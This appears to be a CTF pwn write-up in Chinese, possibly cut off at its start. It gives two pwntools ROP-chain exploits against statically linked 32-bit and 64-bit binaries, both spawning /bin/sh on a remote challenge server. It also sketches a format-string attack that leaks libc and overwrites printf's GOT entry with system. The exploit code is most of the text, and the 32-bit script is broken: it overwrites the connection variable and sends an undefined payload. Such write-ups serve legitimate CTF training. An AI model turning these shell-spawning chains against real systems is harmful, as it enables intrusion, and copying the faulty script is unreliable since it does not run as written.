p.recvuntil(b'please input your strong\n') p.send(payload) p.interactive()
baby_rop
保护机制:32 位,开启 canary 和 NX,静态链接
利用方法一:ROPgadget 构造 payload
查看一下保护机制,32位程序打开了canary 和NX,并且还是静态链接
用ROPgadget --ropchain来获取rop链再缩短点,exp如下:
from pwn import * from struct import pack context(os='linux', arch='i386', log_level='debug') #io =process('./simplerop32') io =remote('112.6.51.212',30779) elf =ELF('./111') # Padding goes here p = b'' p += pack('<I', 0x0804993d) # pop edx ; ret p += pack('<I', 0x080e4e80) # @ .data p += pack('<I', 0x080aa06a) # pop eax ; ret p += b'/bin' p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0804993d) # pop edx ; ret p += pack('<I', 0x080e4e84) # @ .data + 4 p += pack('<I', 0x080aa06a) # pop eax ; ret p += b'/sh\x00' p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0804901e) # pop ebx ; ret p += pack('<I', 0x080e4e80) # @ .data p += pack('<I', 0x0804993f) # pop ecx ; ret p += pack('<I', 0x080e4e88) # @ .data + 8 p += pack('<I', 0x0804993d) # pop edx ; ret p += pack('<I', 0x080e4e88) # @ .data + 8 p += pack('<I', 0x080aa06a) # pop eax ; ret p += p32(11) p += pack('<I', 0x08049b62) # int 0x80 io =b'a'*0x20 + p io.send(payload) io.interactive()
from pwn import * from struct import pack context(os='linux', arch='amd64', log_level='debug') #io =process('./111') io =remote('112.6.51.212',30992) elf =ELF('./111') # Padding goes here p = b'' p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret p += pack('<Q', 0x000000000049d0c0) # @ .data p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret p += pack('<Q', 0x000000000049d0c8) # @ .data + 8 p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret p += pack('<Q', 0x000000000049d0c0) # @ .data p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret p += pack('<Q', 0x000000000049d0c8) # @ .data + 8 p += pack('<Q', 0x0000000000401858) # pop rdx ; ret p += pack('<Q', 0x000000000049d0c8) # @ .data + 8 p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret p += p64(59) p += pack('<Q', 0x0000000000401243) # syscall payload =b'a'*0x28 + p io.send(payload) io.interactive()
string
保护机制:全关
漏洞类型:格式化字符串漏洞
思路:泄露 libc,修改 printf GOT 表为 system,执行 /bin/sh
查看一下保护机制,保护全关
ida反汇编一下,代码审计你会发现出现了格式字符串漏洞,并且在提示 "Input your message:" 的时候,你输入的数据会被 printf 打印出来,这个时候是不是可以把/bin/sh写进去,然后把 printf 修改成 system ,这样是不是就可以获得shell了,前提就得先泄露libc,得到system